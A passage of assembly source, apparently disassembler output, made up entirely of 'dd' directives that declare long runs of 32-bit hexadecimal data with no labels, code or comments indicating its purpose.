		dd 666608B4h, 0D023F54Fh, 0C521C0FAh, 6C47F8CDh, 2B728CE8h
		dd 19BEE5DCh, 320DE9A8h, 0FFBE8D0Dh, 0D53B81C5h, 9D0A2C0Dh
		dd 4103542Dh, 4E0B431Dh, 0EA0D885h, 24984BE3h, 0FD7983F2h
		dd 34B2BAE4h, 727BD6A8h, 34928645h, 2C6CB54Ah, 827DA231h
		dd 0A791FE48h, 21FA90FCh, 74B404FBh, 0DABE4F1Dh, 0BD0E110Fh
		dd 0B3224FD1h, 1BEE4214h, 0D4B8B37Fh, 0A11FB343h, 0AA294B11h
		dd 8A7E9458h, 42610A47h, 680F5148h, 0D4BB1882h,	0D249CDF7h
		dd 3FB37D11h, 753D2C70h, 0FC544168h, 5A8D1379h,	655EBFAAh
		dd 0CFEBBC43h, 0DA290153h, 0E6D77B56h, 6A413553h, 0BE92E1D7h
		dd 73EC7CFEh, 0F2ADD51Dh, 17468082h, 0C54B6A83h, 8F049910h
		dd 67D112D6h, 0CE45AD61h, 0A6E185A4h, 0C9A03FC8h, 454A3253h
		dd 7BDC23D1h, 495AE6E7h, 44CD8E99h, 1DAE3427h, 0A0B9C517h
		dd 28E27688h, 0FE6F67E2h, 33B4E351h, 64AD1B2Eh,	0B90D5D19h
		dd 8BD7171h, 23A94527h,	0A3A4478Ah, 8A6F928Ah, 0CE5B2256h
		dd 9A3A2549h, 0AE91207Ch, 28A2BC27h, 8112F704h,	0FDA331B0h
		dd 24A9BFC4h, 59CFF68Bh, 982AFEFEh, 0C0179D41h,	0D6A8CEB8h
		dd 7A38A33Fh, 17C60D79h, 28ABF567h, 0D53D7DB8h,	57B895E1h
		dd 3B50E2AEh, 19CE2831h, 41C647B3h, 6C14E914h, 0DF1A36AEh
		dd 74E21A19h, 579EB09h,	0EF6000D5h, 156322DFh, 0FF0AD148h
		dd 173CE762h, 6DF193F8h, 8A9AE92Ah, 0A2558C41h,	0E905AE53h
		dd 0A258726Fh, 93EAE855h, 714D0CCh, 0ABDC1648h,	0B4F30938h
		dd 230BA9FBh, 0A087B315h, 0F763ED2Fh, 60345556h, 49C38675h
		dd 0EC318E29h, 35A39A92h, 51C19C3Bh, 6C74E929h,	3287CF9Bh
		dd 91596323h, 75111032h, 0A2969DC3h, 0EEAEC3A7h, 0EBE7670h
		dd 0E94BD577h, 0A2EE2D1Bh, 70E9874Fh, 8CE96C9Ch, 2850AB2Dh
		dd 0CC95D22Bh, 4ED0252Eh, 0CF564F5Ch, 5A555582h, 4B174928h
		dd 597799E2h, 984FCB25h, 0FC392F0Eh, 3E26D721h,	6CB9DF44h
		dd 4EC39414h, 0D235DA50h, 287DBDF6h, 5A1BA3F9h,	0E137015Bh
		dd 55D4408Eh, 0C05E1A78h, 150E4564h, 0B0620BC5h, 0A833DC62h
		dd 1D493F3Bh, 4DC58B2Dh, 59A042EDh, 464DC649h, 0D14828E6h
		dd 0B245BE57h, 7C0322A8h, 2D1186Bh, 473AA0F5h, 0AAD7CC64h
		dd 0A037A7D9h, 8CB34BABh, 451E9973h, 5DA0F42Ah,	8E355F03h
		dd 0A938943Eh, 8EBDE668h, 331D421Fh, 0ECCB4655h, 56250365h
		dd 5662C6B4h, 45980A46h, 4495550h, 53AD7C91h, 32E8E465h
		dd 0F894F4AAh, 54EE12E6h, 9DEC80D5h, 6F4F3E5Bh,	46F74B4Eh
		dd 0D065A251h, 453D6482h, 44B98D5Bh, 0CD9C7946h, 34313447h
		dd 1F086115h, 6E17845Fh, 0CD83E904h, 6D336995h,	0A7D5325Ch
		dd 0CDDE578Eh, 5E5399DFh, 78ACD30Dh, 0ADC9F927h, 1522E2B3h
		dd 5F9D3C61h, 0CC93AC8Ch, 0A43041B1h, 3772B5F1h, 0C0B96641h
		dd 0AB572E8Bh, 45D1C58Bh, 93534DBh, 0FA675348h,	888B6635h
		dd 4AE0136Bh, 24EF31A7h, 603891E4h, 6962B511h, 651DB01Fh
		dd 3E2BD144h, 0A8C38ED7h, 7CA67432h, 8AF2DE52h,	4A0608C4h
		dd 6595DB91h, 0F1E92BD4h, 6997519Ah, 0CA26631Ah, 88AFAF2Ah
		dd 0A218E7C5h, 0FB92E773h, 2089B5C3h, 3BF204F2h, 5293A28Bh
		dd 6FC6391Bh, 0F0CD85E3h, 117F1F2Dh, 0D15AED1Ah, 0D72C24CCh
		dd 752658DFh, 0D7D02C6Eh, 59B98954h, 0A6C32D31h, 0D60E88A0h
		dd 1D1FFBA8h, 52F822C9h, 0E04F4E63h, 74AC8AA8h,	0E49AF6BEh
		dd 487408ECh, 349186BAh, 28A0988Bh, 172FCBDh, 67030257h
		dd 0ACA2ECCFh, 0B125A5FEh, 0B2C38BCAh, 4A59D6Eh, 9A178D99h
		dd 5D26911Eh, 0E52A2B4h, 550FD046h, 0ADAB0459h,	0FC24C030h
		dd 35AE595Eh, 14169163h, 0EF31BA29h, 0D0D5DD78h, 2C2892Bh
		dd 0F849C5D1h, 0B3AE3968h, 99085457h, 134AC0C9h, 0E06D6B76h
		dd 5760BC7Fh, 5D47BAD7h, 0BF4D34Bh, 0F9EE56B3h,	0D19B907Ah
		dd 24AFBB03h, 68F68A6Eh, 125E53Fh, 2D6BC1E8h, 59A25D10h
		dd 0D72A6D43h, 0FB9F8A42h, 8C5D20AAh, 0EA3C5AACh, 9254F73Dh
		dd 0C8C35628h, 0AFD4EAB1h, 69A302C9h, 11144BE3h, 7FB37C72h
		dd 0D8E867D3h, 862BBB85h, 0C0858EF2h, 2462A790h, 669AE771h
		dd 52D33553h, 0B204CA06h, 665A7D75h, 0E6FD914Dh, 0BA4AA28Fh
		dd 0FA5DAA6Eh, 3F9B3A09h, 25E82BFAh, 4E7FBC37h,	0F8B73F99h
		dd 108B3732h, 489A7155h, 0F0D4B562h, 86FBD404h,	71579A76h
		dd 311D3AFEh, 1A12EEBCh, 0AAEA1FE8h, 46F299CEh,	585AFC77h
		dd 0F5C2D087h, 5F8B3216h, 162DD511h, 4F97B139h,	406BB029h
		dd 355EDB6Ch, 50A8D3BEh, 4E92EB07h, 2AD448D5h, 0DFD56A0Ch
		dd 0F2AD476Ah, 8E56FEF1h, 403A447Eh, 0F2535508h, 11879605h
		dd 2E8DBDBAh, 1235C938h, 6E58BA2Eh, 0ABAA06DCh,	72E9C0A4h
		dd 5098E85Ch, 26E62E55h, 29FC184Dh, 909DD444h, 57619127h
		dd 1FD38D5Dh, 83A1B744h, 7CBB8705h, 44F4633Dh, 0CFB54702h
		dd 39479FE0h, 33165FD9h, 3D181E54h, 35B52C42h, 872A4A39h
		dd 154F4159h, 9132CEFFh, 1A9F958h, 0EC54FD40h, 0AA6001B4h
		dd 7C661F44h, 0C56B143Fh, 220AA0D4h, 53229E76h,	3A044D5Ah
		dd 0ED5428A9h, 54749552h, 406953ACh, 0A9EF7D1Ah, 0DD1884BEh
		dd 824D5C1h, 12154BCAh,	663DDA3Bh, 99162B4Dh, 0E7FB07D4h
		dd 71E6097h, 4C3E21E6h,	0B8779E23h, 9E0B2C1Ah, 784B1398h
		dd 54185B05h, 1FCE1198h, 3496E551h, 94CCA485h, 8D32AEC0h
		dd 242AE17Eh, 0B9313666h, 2B92B4ACh, 0ACC5AB5Ah, 5D8D1716h
		dd 706CAE89h, 0F2B6BC40h, 18E17B10h, 30527DF0h,	62C037AAh
		dd 0A46DE58Ch, 0CAE63660h, 5C355437h, 82CF008Dh, 0B4492FF0h
		dd 5AA7AD07h, 8E8B242Dh, 0ACAC9240h, 4A3B9473h,	66E5AF10h
		dd 49941015h, 14518D63h, 72EA2453h, 0BF944371h,	0DC485160h
		dd 6914F9D6h, 0A78718CBh, 2303CAAEh, 140DB1FCh,	0B6D028AEh
		dd 12055753h, 38AF0E2Ah, 1C40ABCh, 94D0786Fh, 69726183h
		dd 0B87B7A97h, 6200844Eh, 5423A02Ah, 0B414A3EFh, 30B98E52h
		dd 0EBF660F8h, 5099C466h, 0AAC80640h, 0ACACA589h, 1B8515B0h
		dd 333FE2F9h, 2207D97Ah
		dd 0C21A7BECh, 56C1C156h, 6D456751h, 0D38E9FE9h, 24795A9Eh
		dd 80DFA881h, 6A57572Eh, 0B562A20Eh, 2E970602h,	0BA50D2DAh
		dd 0DF82508h, 6E1F56E6h, 7EC55763h, 0BD726294h,	7A71595Ah
		dd 98FD18C5h, 0AD5CE793h, 97D3D7CCh, 0C579ABC5h, 5172B668h
		dd 0A5CD5A5Ch, 0FA2BDE95h, 8FE82AC8h, 0D2924A3Eh, 202883CAh
		dd 8AD2F8ADh, 148CF77Ah, 0E2C51B7Eh, 2A0F1170h,	625F68E9h
		dd 517E39CBh, 0B438EBB2h, 78884DFAh, 795AA55Dh,	2757722Eh
		dd 28325565h, 0FE4B1C7Bh, 0E672B468h, 0F91232C9h, 0DF53E8Bh
		dd 0F4F14C54h, 159FA892h, 0E7DAFB9Fh, 68D82C6Dh, 754EB383h
		dd 0F7B085B4h, 0F92D2310h, 0FAE0946Dh, 0A8761508h, 3168C7CEh
		dd 0D47675FAh, 93578E47h, 5E111723h, 18A88331h,	88DF12E9h
		dd 0B74F2BE3h, 8175CFC2h, 0D365A451h, 195A97FAh, 0DAABA155h
		dd 330617E6h, 2AB33D68h, 0D0C7F3AAh, 0CEC2C15Ah, 7478ACCCh
		dd 0C661798h, 6D423495h, 61D2573Eh, 50473FA4h, 88F3734Fh
		dd 9047AD1Ch, 0EA2338Ah, 48CEADC7h, 3D8DDF82h, 176EA889h
		dd 0AF79822Ch, 0C8F2657Dh, 0EEFDABD7h, 748A34E3h, 2872C9A9h
		dd 586B292Eh, 5FEF12C0h, 0FE54D705h, 55194E7Ch,	1F94BE2Fh
		dd 1CCC504Ah, 0D22234BCh, 0D5657025h, 7A56F364h, 0CAA85E0Ch
		dd 535FF394h, 8C3CC2B9h, 0FDAF6069h, 0B5E1F372h, 0A537CCFCh
		dd 0B81AF59Fh, 3756905Bh, 0ACE2D72Bh, 0C6AC05D6h, 0B3863380h
		dd 686FBDA8h, 99AF7DDEh, 0CB906175h, 0AC213F0Ah, 0B887A982h
		dd 462FE777h, 6FF2F2ECh, 45489159h, 86E6591Eh, 8A0D1AA2h
		dd 0D3AA13F6h, 6370132Eh, 4BBD0B8Fh, 47568A9Ah,	0A12E68F0h
		dd 2A48509Dh, 17B4E0D7h, 3E77957Fh, 591B6633h, 51BE4845h
		dd 0D7C2D707h, 2E0D6922h, 71E94421h, 0AC7E48E8h, 0F5A177F0h
		dd 90B134E6h, 7FE8A2Ch,	46A083BDh, 7233C74Bh, 7A38707Dh
		dd 89150480h, 0DF85E50h, 11C40C5Dh, 36061EFEh, 1716A0A6h
		dd 0BAA91C14h, 9C8E326Bh, 352DA6ADh, 0D6F222F0h, 5B23C1D7h
		dd 0EDEC7CB4h, 0E94B8B50h, 4C11556Eh, 15A8F0DEh, 0DE03242Ch
		dd 36C4AB84h, 0C3D87D2h, 323E5B70h, 2BD863AEh, 0D30E7AA0h
		dd 4BA322E2h, 97CFD33Ah, 5C95F6ADh, 6607281Ah, 4A51583Ch
		dd 0F2EA5EE2h, 2C72B07Ch, 0F8B3E98Ah, 0D3E563CAh, 0CF102B2h
		dd 43E10954h, 99817E0Ch, 0CEF81AAEh, 4E0DF7F8h,	4BAF738h
		dd 0EAD3B58Bh, 4FDD9648h, 4655722Bh, 5E5C1B53h,	0C5AA1439h
		dd 32D1596Fh, 1AFB3EC9h, 0AA65D63Ch, 11B4B569h,	0DBDBDD2Ch
		dd 0C9E9518Ah, 0AF2F2A7Ah, 5AF127F1h, 81FB218Ch, 78A1CC2Ch
		dd 698B97F1h, 17DA47EEh, 0AB5AE757h, 5F9CE91Bh,	0EFDB2B05h
		dd 5D08CD38h, 8C620240h, 0A3EB65A4h, 0D895AA5Ah, 1B12F6DFh
		dd 0B46F4915h, 828F6901h, 88E83C96h, 0CD89693Fh, 2348FDC6h
		dd 7852F75h, 0DA87ACC9h, 61178A6Eh, 6F9F5B50h, 6A9A9F64h
		dd 0AE82EC89h, 63C0639Ah, 77D795ABh, 0F5CB24D5h, 17EBC155h
		dd 34F25CE0h, 33F44542h, 65CDA38Bh, 19682DA7h, 675D8749h
		dd 2E93A0C4h, 0D694724Dh, 0EFA946F4h, 5176D595h, 18A7E5B0h
		dd 419E4853h, 9FD4D1F4h, 788DB521h, 4E9F5466h, 0D9C520BDh
		dd 567BD747h, 0B25625D4h, 54335178h, 5B56B547h,	6F289C74h
		dd 0D16D1026h, 0C629E65h, 75685F9Dh, 33436997h,	0B564D952h
		dd 7EEA4429h, 8CB21BEDh, 0C2F8D1ACh, 0ECC952E4h, 0E119D5E7h
		dd 39D058CFh, 34025ECFh, 2ECA91ABh, 44D6AA4h, 0E2329E3Ch
		dd 4F45DE5h, 0D3DC8A92h, 535394CCh, 0E7EE9646h,	0A312D287h
		dd 32B6AC86h, 47B6DC46h, 6138B8BEh, 0C08C0EB9h,	2446C1F5h
		dd 0C93B22BDh, 698B69ADh, 48905021h, 17CB4E1Eh,	3EB8DA46h
		dd 6230A5C3h, 7E817B91h, 0AE75248Eh, 0C14776AFh, 1E67A338h
		dd 255F1EB6h, 54B82B83h, 44A1014h, 0E7FC0AA3h, 84524A11h
		dd 2EE5C8E0h, 15C7A5FAh, 0F688795Dh, 0A1852723h, 20FFC124h
		dd 0A2F39396h, 0C745A389h, 29D2BD31h, 8D041735h, 0E830B471h
		dd 92FB8BADh, 8DC3762Eh, 62F37AFBh, 0A0F20D2Ch,	0DAC668E6h
		dd 0D68EDD03h, 60C28FD9h, 8640A5B9h, 17F9709Ch,	0A2A1D52Ch
		dd 38BDD08Bh, 6C38A452h, 65B692B3h, 6813BD4Ch, 0AF59808Fh
		dd 0C2457B0Fh, 0C676A55Eh, 0D597DB61h, 0BE4FDCA7h, 881517BEh
		dd 8B3D307Fh, 0C8E0F66Fh, 0F3882029h, 1B34F860h, 8FAAE447h
		dd 0BF22974h, 1A16A8DAh, 0B62E71F3h, 444B223Ch,	7A3082A9h
		dd 7AAED745h, 0F9B5008Ah, 47BC62B2h, 0BE647D11h, 0BAED41C6h
		dd 4D553E0Bh, 0EBA20C2Bh, 0A8A32CC5h, 3F2EB3Fh,	5C44338Dh
		dd 5F0DD245h, 3A65CA9Ah, 0EB92C75h, 0C0A29812h,	0CA9380E8h
		dd 4C5A7322h, 2FD67A92h, 74A2A2B7h, 0A4E3B0A7h,	4D2FAF35h
		dd 4B0E5CE2h, 0F331842Ah, 0A5A7AFDFh, 0AABCD8Bh, 4E8C62FEh
		dd 0F91171B5h, 1C50764h, 686C65D8h, 0DF21E1CEh,	952AA68h
		dd 0CABA6524h, 7682D8F4h, 227FFD3Ch, 8C0A2CBEh,	0AD685A2Fh
		dd 991F755Eh, 22559E45h, 0B3E15498h, 3F309D9Ch,	9EBAA34Ch
		dd 1AEC7FA7h, 0AAF8D19Eh, 0B90C0DF4h, 0DFC8BC0Ch, 0BC73383Fh
		dd 0EA45AA1Eh, 5AB739CCh, 0EEB1B4DBh, 6633BA47h, 715B3634h
		dd 0B28CDC67h, 3568A8E2h, 0A05AECD0h, 0AB3E7E5Fh, 29BEFF50h
		dd 2A8B108Eh, 29946722h, 3A9CC45h, 843C8AA9h, 0E751183Dh
		dd 50CDA034h, 5E75D424h, 0E966D181h, 0EB5D1455h, 0A5CB267Ah
		dd 23F863A8h, 0A943AC78h, 0C1DC9016h, 80EB4627h, 2E4E993h
		dd 5B6D66C9h, 1C84F0D5h, 86709F40h, 92993F3Dh, 2AE317EEh
		dd 6C1DC894h, 2F5FF90h,	0D94B37F1h, 3C61C10Bh, 0B09BFF55h
		dd 544775BDh, 9FD0E828h, 78E859D3h, 0EFD16DE7h,	0A92A52A8h
		dd 0C2FED25Ah, 8DDEBB5Dh, 5A186B69h, 33F3F51Fh,	710BBA00h
		dd 0F761D5EEh, 0ED6123F6h, 50CBFB04h, 7AF07445h, 0E56C1DCFh
		dd 188D2FB2h, 0D456C0CEh, 0B850A74Ah, 31CAD1DCh, 1EE2D771h
		dd 15D29DAAh, 0EF450473h, 0CA0B2FE2h, 6E5E393h,	74F8D71Ch
		dd 9DCA1017h, 8F8A904Fh, 3303551Fh, 2D494C1h, 5CF590BFh
		dd 0DDFD12Ch, 7C8BDCC8h, 1631FCFCh, 31FE1675h, 0D1A874B0h
		dd 3AE97F0Bh, 9396454h,	2A4082EAh, 0C182159Eh, 0B15EED12h
		dd 8687C34Bh, 727BC53Eh, 343C75A8h, 85538A67h, 7CC4FED1h
		dd 0AE7057EDh, 0BC6583E0h, 0FF9D7CBh, 0C9D4AD27h, 3CEBB436h
		dd 0CA45BCA1h, 0BA400638h, 0B4C0130h, 3086490Ch, 0DCCCB039h
		dd 38444218h, 0CF191DF6h, 24094858h, 0A5102049h, 54459899h
		dd 90489019h, 8EA1357Fh, 0F2A72FD8h, 0C090CFB9h, 31D1AE18h
		dd 0C970C56Fh, 37813F4Dh, 2E91778Eh, 4F1849D7h,	9D82DDB5h
		dd 5E8293A7h, 77A69755h, 72AF146Bh, 265C6C98h, 92C5FB3h
		dd 9DD653B2h, 33A3EE80h, 3321A9B3h, 8E2CAD3Fh, 0BFCB8F04h
		dd 465D264Eh, 59D638C8h, 5F1C60A0h, 0B8A9F5F5h,	477C175h
		dd 932355BBh, 0C56C0BE4h, 54772832h, 0F4469711h, 0C6B40C31h
		dd 0A2BE05B4h, 0E13037F4h, 0D8A70477h, 2D0E1695h, 2C0C587Ah
		dd 60AA93Ah, 92609F06h,	3316B120h, 3A517515h, 2A4F7723h
		dd 0C30C7171h, 0F30C85C0h, 19B24B0Bh, 57B11FCCh, 4F1DAF78h
		dd 955CD52Dh, 0BCD79EAh, 0CCEFE643h, 0BBCA30D2h, 0B52A3088h
		dd 0C88F4516h, 4CDF8ACCh, 0C5DE424Eh, 38FB5228h, 600651C0h
		dd 42F30701h, 0F9B862ADh, 8DE358A2h, 62550A59h,	954A7FC1h
		dd 8288D915h, 625FA76h,	6F9D676Ch, 4EE46EF9h, 0F655AA69h
		dd 695F36C1h, 445D5A86h
		dd 1D79C1B9h, 0E49242A3h, 8215AE6Bh, 92CB21C7h,	0AA39E03Dh
		dd 165B65F5h, 0A0D35774h, 30DFECBDh, 0ACC159C0h, 5C23A4CBh
		dd 0D822D52h, 0DAA34B8Dh, 6EF97663h, 0B9AA4EC2h, 0B8AADA62h
		dd 37F6C2Fh, 0FC62CF9h,	437EF44h, 186C3601h, 0E8B3F23Ch
		dd 2CEF7B17h, 523FBDD1h, 0FFAF7424h, 9246479Dh,	0F2F29EA3h
		dd 0AA454707h, 538F9FF0h, 115D7E2Fh, 0CC6845FCh, 0A0976D47h
		dd 0F97F286Fh, 0B4432A1Bh, 40FACFA3h, 595DCFC1h, 0BE0DD46Dh
		dd 89AA2B53h, 0E0FFD607h, 0E7CEFF0Eh, 0ACB035BBh, 0B431D561h
		dd 98062197h, 862677D6h, 0C3133AB4h, 0F0F9B8AFh, 82144318h
		dd 49615D20h, 15C964A3h, 89061843h, 5784067h, 86CAD1DDh
		dd 3EA7BDCAh, 83A3FAAAh, 2543198Bh, 8A322C2Ah, 98947CBAh
		dd 0BE4E1E4Dh, 0B375D306h, 45D1F412h, 0A3C0A381h, 4A022226h
		dd 2EA2497Ch, 7502F706h, 3FECA080h, 5C603F63h, 5D604BD7h
		dd 47A89C85h, 0D4CFBEFh, 0AD5DC612h, 0EF206040h, 185167DBh
		dd 5973414Fh, 149E20B7h, 91B00A08h, 52EE0066h, 0D3202040h
		dd 8C7D2244h, 0C3A047E2h, 496846C6h, 14AF932Fh,	8EF08632h
		dd 30E1CCBFh, 9A0B443Ch, 0B6B81AE4h, 0DC2EF7F8h, 592E2FA0h
		dd 0D699F6E8h, 7857D2B5h, 20B9C2B8h, 68C90371h,	17102A39h
		dd 5DD15A54h, 8E92100Eh, 60A3023h, 78EF62D2h, 2EF0C9AAh
		dd 0E34D8CDBh, 0C40AC93Bh, 8FBB8F2Ah, 0E476BD76h, 0D70FC851h
		dd 5CA95C72h, 37446138h, 36997957h, 0DA467FB8h,	5601FFF7h
		dd 571B3265h, 541F4BA4h, 471646FAh, 0E2D753C1h,	58B8AAB2h
		dd 0CCEE7AE1h, 7BF074CCh, 0EE09B0Ch, 4A3E1BFEh,	0D16AF8D1h
		dd 7EB307FCh, 8D825F39h, 0C530E29Bh, 11AC6FCBh,	58AABA81h
		dd 0C349BFDDh, 0D66B9E68h, 95724289h, 0C115BC34h, 9523716Dh
		dd 0F27C139Eh, 0EC4E3E8Fh, 0EF3EF4B5h, 0C470C348h, 16A8DADCh
		dd 0DF913E3Bh, 28953559h, 0F57C59DDh, 0AC99AE95h, 0F516E912h
		dd 70428BA6h, 0D6ADD959h, 8D2B62Ah, 0E2B0749Fh,	0FFC3EE30h
		dd 124B069Bh, 0E4CFBC76h, 94C392A6h, 576E11Ch, 4289289Eh
		dd 5745DB8Ah, 6951971Eh, 8315A315h, 357AABECh, 8272E77Ch
		dd 0C63E60BFh, 2A0E319Ch, 0A3AF7594h, 1F07ADFDh, 8C976D7h
		dd 0F51DA052h, 73A098ACh, 0B92F712Dh, 74118960h, 8EE2086Bh
		dd 0DB336637h, 0C7D0BA5Ch, 7E555491h, 40F9E141h, 0B9E73C42h
		dd 0CA7748Eh, 0C273E2BBh, 5D60F196h, 63AF7DFAh,	0C6EFCE07h
		dd 0AC5973E2h, 0DB2B17D9h, 8BBC589Dh, 468B080Ch, 0BB144C10h
		dd 0AA402843h, 5BD2CBA2h, 698FB9EFh, 24D16A24h,	67AB168Ah
		dd 43F06A4Eh, 569FA1CAh, 0F9DFB195h, 8982EFE6h,	0CA0C86F1h
		dd 45563E44h, 42EF6C1Ah, 53B3D82Ah, 176A7649h, 0D7BA6864h
		dd 70AB1ABAh, 19F61455h, 2976500Bh, 144202C2h, 0A8495752h
		dd 0E9862176h, 8A801E03h, 0FD62113Dh, 29603B8Ah, 2E17F3BEh
		dd 566335Ah, 0A1F855E5h, 9B7B4008h, 0F572D2F1h,	5B3A1FEDh
		dd 8AA928C2h, 4017E5A7h, 36A3D3CCh, 6280862Bh, 95C3AEB1h
		dd 0B28E180Ch, 0E367CC4Ch, 0B44188AEh, 71373140h, 8C053398h
		dd 0E8082356h, 3BBCD025h, 0D04AACC5h, 2162CB19h, 897FB2CBh
		dd 0F6004AA7h, 25884A74h, 2CEE63BBh, 0AA88BE90h, 0D551D064h
		dd 83931E55h, 0BC3F0146h, 5C77E174h, 98E79642h,	5155DA86h
		dd 0A165C08h, 19743450h, 5CD80FD2h, 0DA9046E8h,	37739D51h
		dd 8456F18Ah, 790A07C6h, 65A27026h, 5B1700B6h, 7454A8Eh
		dd 89D375FCh, 0B9626D55h, 0AE5604E0h, 9B07E7CDh, 0FFA41F2Dh
		dd 0AD917CA3h, 9FF2959Bh, 0A7AEB4DBh, 0CC49A82Ah, 0E68DCD41h
		dd 0E509E672h, 0E7596047h, 5143699Dh, 45D8952h,	0BB5F9DB1h
		dd 5A1AB04Dh, 7F308554h, 2D35FBF0h, 0CA2EE4DFh,	395BA0C5h
		dd 6F456D1Fh, 2E746951h, 0A3A23CAEh, 0FCAA8F3Eh, 0CAA930EBh
		dd 1420A1CCh, 0EBDE8480h, 0D05CB44Eh, 14F11D35h, 76579641h
		dd 0B1C5595h, 0C6E17155h, 16276C32h, 0BCB528DCh, 84A1232Bh
		dd 7E77E3FCh, 56552A44h, 1DF04586h, 0D438F24Eh,	0F930015h
		dd 0F652067h, 0AEC23146h, 0DC6D4A50h, 12D12D5Eh, 4B0D126Fh
		dd 267BEE1Bh, 173351E0h, 0B16A2047h, 0F8F6D14Ah, 14D4BA4Ah
		dd 72EA8AA0h, 9EFAF47Eh, 0D5D1E31Ah, 5FB8B634h,	4CBC576Dh
		dd 0D282C76Dh, 13489C80h, 0C5184798h, 1FDE28D6h, 65141068h
		dd 6E25D510h, 22156089h, 7DC71025h, 5E707041h, 68EE1582h
		dd 0CFF957E7h, 0B9B5DD9Dh, 6E58BDEBh, 5E52A2BAh, 64A4AEC0h
		dd 0FB951524h, 611CE6D9h, 38BA52E5h, 498B2ACBh,	0D778918Dh
		dd 0DDC8B1E4h, 0B5453AAEh, 586CEF87h, 2FADAB03h, 5E144160h
		dd 0BC7BDB35h, 0CAA81DAAh, 4D3F8C0Ch, 9252F800h, 4ED85FC4h
		dd 53D5726Ah, 0C0D5EBBCh, 57EB7BF3h, 2530C7AFh,	9C96A50h
		dd 683BDC13h, 53BEBAC0h, 6A848FFAh, 68AC0AAEh, 2EED08A1h
		dd 10850CDBh, 40338062h, 0C4A5D22h, 0C930D2Fh, 0FFFB85Eh
		dd 0FA374E84h, 3A24452Eh, 71CE8FFh, 0D2137716h,	0C3271F45h
		dd 82A85F8h, 98D58141h,	5871302h, 0D0C3F181h, 0C62AD61Fh
		dd 318E1B6Ch, 0D178336Dh, 0BAC5A2ABh, 953C4A95h, 0F921D362h
		dd 30C5477h, 0C2FBA2Ch,	1CC579D1h, 532E26EDh, 4F214127h
		dd 0D4018E2h, 0A57F426Bh, 7CA1512Eh, 372FDC30h,	76204EFAh
		dd 0F22B215Eh, 0D13C2EEEh, 48465456h, 49025127h, 0A6B3221Bh
		dd 21905060h, 0E42596A3h, 89233C7Ah, 9B1362F6h,	47C0445h
		dd 8BB10D99h, 5C6EDD34h, 46E50856h, 0F43C8BB3h,	93895610h
		dd 105A62A1h, 9D82972Fh, 4D3C0D40h, 423585C9h, 0EB0AFE32h
		dd 8BFC7828h, 0F82AA430h, 479E0B10h, 15F39415h,	0A5B2AA11h
		dd 0DD7ADDEBh, 2A44A07Dh, 0C6E1C745h, 0D6C56AFAh, 91C194A7h
		dd 8264D124h, 5A699DC4h, 91058503h, 164C600Ch, 826818A0h
		dd 0F5011101h, 0B22E9600h, 0E4C412BCh, 95BE2BB1h, 0FE15C50h
		dd 0EB677A57h, 299CC501h, 0A5DEFDC3h, 39F34194h, 0D18E9C2Dh
		dd 0BC071A9Dh, 7A1AD175h, 0BED32317h, 8A0A2E31h, 2EFFE427h
		dd 124B2909h, 0A84C0350h, 1686ACFh, 32F462FDh, 4718BADEh
		dd 475B9106h, 0BD53C1F6h, 0B28A60DFh, 7DB2AAAFh, 0DFCE4426h
		dd 6C57ED9h, 0BEDCFD79h, 0C7CCEE26h, 3DF35933h,	0F2F6D8DBh
		dd 0E43B58DDh, 115D7EB4h, 5492063h, 73D2C498h, 96248246h
		dd 85D8801Bh, 181EB6Dh,	4B10ABA3h, 6A80D34h, 37578480h
		dd 9DD20215h, 21D74481h, 371EA082h, 0F8AB9D8Ch,	3311AFE2h
		dd 0CE3BBCBEh, 4BFC531Dh, 501A6A69h, 0DE78398Ch, 965D1B17h
		dd 337D1C30h, 0AEFF66E2h, 44356718h, 43E437CCh,	1AC218CBh
		dd 0C5E722EBh, 0A411FFEFh, 90A933EBh, 0CD8C5546h, 12CAB092h
		dd 0C9029FC6h, 0DC521A16h, 869B5CF5h, 0A040A6FBh, 0BAA40DCCh
		dd 7580A233h, 3C109209h, 0F9B4D030h, 0A6AD9E2Fh, 7A9604D7h
		dd 8B98BFC0h, 542C1C0h,	84ACED4h, 49C29116h, 34F51304h
		dd 6454C5C4h, 0A48AE5DCh, 859578D9h, 9FA7A906h,	6E0DE785h
		dd 0A8AB76A6h, 471EAB65h, 5DDD397h, 71F798AAh, 38C0D9F1h
		dd 84A11BC2h, 52E2FA03h, 0BF2F1E52h, 0A2AA2CF2h, 3330F68Fh
		dd 0BB621F89h, 4018FF83h, 0B2ED19C8h, 3046943Bh, 4E12C031h
		dd 9B069A23h, 0B6C02C49h, 6C252488h, 0EC28ABBh,	95A76315h
		dd 3E0A726Eh, 87E24BD4h, 47E904E1h, 0CCA847FAh,	527980Fh
		dd 16AB4B8h, 31DEEA0Fh,	4B6CD80Ah, 0E1B54EB9h, 14A632Bh
		dd 8A2ECCF4h, 94ED32CDh
		dd 0AAF1A7CCh, 0E370608Ch, 94F882Eh, 9D3A8B39h,	0BEBDA202h
		dd 0C4A88C11h, 5FA3033Dh, 0F002C42Ch, 9B50A087h, 6614E893h
		dd 5A0ADE98h, 4096D05Ch, 0EB95F183h, 80DB08Ah, 0A866B328h
		dd 0BEFEFB80h, 9C91521h, 2F482B18h, 5F0C75D4h, 0D0883505h
		dd 0A8CE5214h, 5D0D0B18h, 2CD303F7h, 0ACF89C8h,	5A5A1A09h
		dd 0A0C040E2h, 1285598Ah, 0F9D771B7h, 1F9EE93Fh, 91B522FBh
		dd 48B6576Eh, 30A1F4C6h, 39D72CD4h, 172BBC51h, 0C4C566F9h
		dd 32AFD8BFh, 83EA4313h, 0EA31FAE1h, 0BC2A508Ch, 32597581h
		dd 0D30AD027h, 0A2B08824h, 0F18D27E1h, 67676917h, 287F0AFEh
		dd 37254620h, 635AEF09h, 77B4A8CCh, 85446A36h, 1E6736FFh
		dd 462E389Ch, 5425DB9Ch, 852091CCh, 100292D4h, 0A062C759h
		dd 101E9168h, 532C60ECh, 0B904BF01h, 9F547500h,	89D703C3h
		dd 64CC3150h, 1ABA2CECh, 49015A71h, 271D3BF5h, 9056CC2Ch
		dd 157E1161h, 45E3B054h, 0A0E16B85h, 98A82786h,	32FE880Eh
		dd 0B31480BCh, 0D32B5D0Ch, 1F5F8049h, 37AB0517h, 4458A231h
		dd 110ED94Eh, 52383047h, 3BAF82B6h, 1898889Ch, 47C0103Ah
		dd 0EFD30BC3h, 0E55C065Dh, 439A1B0Ch, 0F463EE11h, 5D59654Ch
		dd 0E88A7BF9h, 1068755Ch, 0C00712EBh, 9A2BAB9Dh, 15E21E46h
		dd 6A37FB53h, 0F037C8EEh, 8F069317h, 47D7080Ch,	0CE760240h
